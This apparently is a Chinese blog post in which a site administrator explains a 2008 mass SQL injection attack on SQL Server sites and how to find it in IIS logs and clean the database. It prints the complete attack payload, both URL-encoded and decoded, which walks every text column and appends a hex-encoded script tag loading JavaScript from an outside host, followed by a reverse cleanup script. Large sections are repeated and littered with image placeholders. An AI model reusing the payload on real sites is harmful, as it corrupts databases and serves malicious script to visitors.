首先鄙视下,最近很多人都遭了殃
其实这个本身还是利用网站安全漏洞进行注入的
所以大家一定要加强网站提交数据或传参时候的控制。。一定要严格处理。尽量避免使用“+“号运算符链接sql语句并执行
下边说下解决方法把。我的是03服务器,数据库是sql server 2005(貌似遭殃的都是sql server)
首先,打开你的iis日志,如果没有改动的话应该在
c:\windows\system32\logfiles\httperr\
目录下
按时间最近的开始查,在里边查找declare(因为它使用的是动态sql语句,所以必须定义变量)
不要怕费时。。怕费事的话可以用《文本替换专家查找》
找到以后,会发现有这样一条记录
2008-05-06 21:07:53 a.a.a.a 34717 b.b.b.b 80 HTTP/1.1 GET /showtree.aspx?topicid=56008&postid=414578;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- - 3 Timer_MinBytesPerSecond 进程池
红色部分是错误文件,大家一定要修复,仔细检查。。确认无漏洞
其中a.a.a.a是访问者(可能是攻击者)的ip,b.b.b.b服务器IP
其中你会发现
但是很乱,因为是经过URL编码的。。我们用UrlDecode方法解密后得到的代码,我们把前后的分号都去掉看
这就是我们数据库里无缘无故多了东西的原因
下边说一下怎么恢复数据库
首先说明下,不一定完全奏效,因为在插入数据的时候,有些被强制揭去了一部分。。大家最好有备份
其实很简单,把刚才的语句反写就可以了
作此操作钱为了避免数据丢失请先备份数据库,每个人可能被注入的内容不一样,一定要变通,从第一步做起
好了,检查下数据库吧
最根本的解决方法还是加强sql语句的过滤,加强html脚本的过滤
其实这个本身还是利用网站安全漏洞进行注入的
所以大家一定要加强网站提交数据或传参时候的控制。。一定要严格处理。尽量避免使用“+“号运算符链接sql语句并执行
下边说下解决方法把。我的是03服务器,数据库是sql server 2005(貌似遭殃的都是sql server)
首先,打开你的iis日志,如果没有改动的话应该在
c:\windows\system32\logfiles\httperr\
目录下
按时间最近的开始查,在里边查找declare(因为它使用的是动态sql语句,所以必须定义变量)
不要怕费时。。怕费事的话可以用《文本替换专家查找》
找到以后,会发现有这样一条记录
2008-05-06 21:07:53 a.a.a.a 34717 b.b.b.b 80 HTTP/1.1 GET /showtree.aspx?topicid=56008&postid=414578;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- - 3 Timer_MinBytesPerSecond 进程池
红色部分是错误文件,大家一定要修复,仔细检查。。确认无漏洞
其中a.a.a.a是访问者(可能是攻击者)的ip,b.b.b.b服务器IP
其中你会发现
1
;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;
这就是被注入的语句。很强大啊。呵呵![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
但是很乱,因为是经过URL编码的。。我们用UrlDecode方法解密后得到的代码,我们把前后的分号都去掉看
1
dEcLaRe @t vArChAr(255),@c vArChAr(255) --定义变量
2
dEcLaRe tAbLe_cursoR cUrSoR --游标
3
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) --遍历表和字段
4
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c --打开游标
5
while(@@fEtCh_status=0) --开始
6
bEgIn
7--这里执行更新操作呢。。注意![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
--
exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(co
nvert(varchar,['+@c+']))+cAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))')
8
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c --下一条记录
9
eNd --结束
10
cLoSe tAbLe_cursoR --还不错,把游标给关了
11
dEAlLoCaTe tAbLe_cursoR --再次感谢
大家都知道上边进行了什么操作了吧。。![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
2
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
3
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
4
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
5
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
6
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
7--这里执行更新操作呢。。注意
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
--
exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(co
![插入代码](https://www.cnblogs.com/Images/code.gif)
8
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
9
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
10
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
11
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
这就是我们数据库里无缘无故多了东西的原因
下边说一下怎么恢复数据库
首先说明下,不一定完全奏效,因为在插入数据的时候,有些被强制揭去了一部分。。大家最好有备份
其实很简单,把刚才的语句反写就可以了
作此操作钱为了避免数据丢失请先备份数据库,每个人可能被注入的内容不一样,一定要变通,从第一步做起
1
dEcLaRe @t vArChAr(255),@c vArChAr(255)
2
dEcLaRe tAbLe_cursoR cUrSoR
3
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
4
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
5
while(@@fEtCh_status=0)
6
bEgIn
7
exec('UpDaTe ['+@t+'] sEt ['+@c+']=replace(convert(varchar,['+@c+']),cAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67)),'''')')
8
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
9
eNd
10
cLoSe tAbLe_cursoR
11
dEAlLoCaTe tAbLe_cursoR
12![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
2
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
3
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
4
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
5
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
6
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
7
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
8
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
9
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
10
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
11
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
12
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
好了,检查下数据库吧
最根本的解决方法还是加强sql语句的过滤,加强html脚本的过滤